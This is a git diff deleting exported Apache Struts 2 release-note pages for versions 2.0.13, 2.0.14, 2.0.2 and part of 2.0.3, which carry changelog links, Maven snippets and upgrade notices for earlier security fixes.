-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Struts 2.0.13 is a bugfix release for version 2.0.12, which, among others, provided important security fixes for the vulnerabilities described in <a shape="rect" href="s2-003.html">S2-003</a> and <a shape="rect" href="s2-004.html">S2-004</a>. Struts 2.0.13 fixes a bug  [...]
-
-<p>All users are strongly encouraged to upgrade to Struts 2.0.13.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-2012.html">Release Notes 2.0.12</a></p>
-
-<h2 id="ReleaseNotes2.0.13-Changelog">Changelog</h2>
-
-<h3 id="ReleaseNotes2.0.13-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21901">JIRA Release Notes 2.0.13 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21870">JIRA Release Notes 2.0.12 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote. [...]
-
-
-<h3 id="ReleaseNotes2.0.13-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10933">Struts 2.0.13 DONE </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.13-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/">Source Code Repository (includes change browsing)</a></li></ul>
-
-
-<h2 id="ReleaseNotes2.0.13-ReleasePlan">Release Plan</h2>
-
-<ul><li>Struts 2.0.13 is a bug fix release for the prior Struts 2.0.12 GA release.</li><li>The Release Manager is Rene Gielen.</li><li>The tag date for the release is 28 Oct 2008.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-2014.html b/content/docs/release-notes-2014.html
deleted file mode 100644
index b3cfa5c..0000000
--- a/content/docs/release-notes-2014.html
+++ /dev/null
@@ -1,166 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.14</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-2014.html">Release Notes 2.0.14</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.14</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=102040">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=102040">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=102040">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=102040">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=102040">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=102040">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.14 distribution.</p>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Struts 2.0.14 is a bugfix release for version 2.0.12, which, among others, provided important security fixes for the vulnerabilities described in <a shape="rect" href="s2-003.html">S2-003</a> and <a shape="rect" href="s2-004.html">S2-004</a>.<br clear="none">
-Struts 2.0.14 fixes two bugs introduced with the fixes for <a shape="rect" href="s2-003.html">S2-003</a> and <a shape="rect" href="s2-004.html">S2-004</a>, keeping the FilterDispatcher from serving built in static resources, and keeping conversion error messages from being displayed.</p>
-
-<p>All users are strongly encouraged to upgrade to Struts 2.0.14.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-2013.html">Release Notes 2.0.13</a></p>
-
-<h2 id="ReleaseNotes2.0.14-Changelog">Changelog</h2>
-
-<h3 id="ReleaseNotes2.0.14-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21902">JIRA Release Notes 2.0.14 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21901">JIRA Release Notes 2.0.13 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote. [...]
-
-
-<h3 id="ReleaseNotes2.0.14-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10934">Struts 2.0.14 DONE </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.14-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/">Source Code Repository (includes change browsing)</a></li></ul>
-
-
-<h2 id="ReleaseNotes2.0.14-ReleasePlan">Release Plan</h2>
-
-<ul><li>Struts 2.0.14 is a bug fix release for the prior Struts 2.0.12 GA release and the 2.0.13 Beta release.</li><li>The Release Manager is Rene Gielen.</li><li>The tag date for the release is 16 Nov 2008.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-202.html b/content/docs/release-notes-202.html
deleted file mode 100644
index e4bc0d5..0000000
--- a/content/docs/release-notes-202.html
+++ /dev/null
@@ -1,214 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.2</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-202.html">Release Notes 2.0.2</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.2</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=28532">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=28532">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=28532">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=28532">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=28532">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=28532">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.2 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-201.html">Release Notes 2.0.1</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.0.2&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="ReleaseNotes2.0.2-Backwardcompatibilityissueswithpriordevelopmentrelease">Backward compatibility issues with prior development release </h2>
-
-<ul><li>Quickstart is removed in favor of the Maven Jetty plugin (WW-1524).</li><li>As of Struts 2.0.2, Spring is a plugin (WW-1499). If an application specifies the Spring object factory in <code>struts.properties</code>, also include the <code>struts2-spring-plugin.jar</code> on the application's classpath. The plugin uses Spring 2.0.2 by default but can be rebuild to use another recent version.
-	<ul><li>Ideally, move the object factory setting to the XML configuration, using Constant Configuration].</li></ul>
-	</li><li>The Ajax theme is updated to Dojo 0.4, and some tag attributes have changed. See <a shape="rect" href="ajax-tags.html">Ajax Tags</a> for details.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.2-NewFeaturesandPlugins">New Features and Plugins</h2>
-
-<ul><li>Plugins are now documented in the <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=S2PLUGINS&amp;title=Angosso">Apache Struts 2 Plugin Registry</a>.</li><li><a shape="rect" href="annotations.html">Annotations</a>: @Result annotation now supports parameters (WW-1575).</li><li><a shape="rect" href="ajax-tags.html">Ajax Tags</a>: The Autocompleter AJAX tag wraps Dojo's ComboBox and supports remote, static, and JSON content [...]
-
-
-<h2 id="ReleaseNotes2.0.2-ExperimentalFeaturesandPlugins">Experimental Features and Plugins </h2>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Please help us test these brave new features. Feedback appreciated!</p>
-
-<ul><li><a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=33473">Scope Plugin</a>: Initial version of scope plugin that mimics JBoss Seam-style of scoped bijection (presently in the Sandbox).</li><li><a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=33278">Codebehind Plugin</a>: Reduce mundane configuration by using "page controller" conventions (WW-1515).</li><li><a shape="rect" href="zero-configuration.html">Zero [...]
-
-
-
-<h2 id="ReleaseNotes2.0.2-InternalChanges">Internal Changes</h2>
-
-<ul><li><a shape="rect" href="plugins.html">Plugin</a> tag libraries: Plugins can now provide new tag libraries encompassing JSP, Freemarker, and Velocity tags (WW-1584).</li><li><a shape="rect" href="dependency-injection.html">Dependency Injection</a>: The framework now uses its own dependency injection container, based on <a shape="rect" class="external-link" href="http://code.google.com/p/google-guice/" rel="nofollow">Google Guice</a>. Applications are free to use Spring, Plexus, or e [...]
-
-
-<h3 id="ReleaseNotes2.0.2-Detail">Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21760">JIRA Release Notes 2.0.2 (to date)</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?version=21741&amp;styleName=Html&amp;projectId=10030&amp;Create=Create">JIRA Release Notes 2.0.1</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/st [...]
-
-
-<h3 id="ReleaseNotes2.0.2-Pendingandopenissues">Pending and open issues</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10700">Struts 2.0.2 TODO </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.2-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-203.html b/content/docs/release-notes-203.html
deleted file mode 100644
index 7060765..0000000
--- a/content/docs/release-notes-203.html
+++ /dev/null
@@ -1,203 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.3</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-203.html">Release Notes 2.0.3</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.3</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33495">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33495">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33495">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33495">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33495">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33495">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.3 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-202.html">Release Notes 2.0.2</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
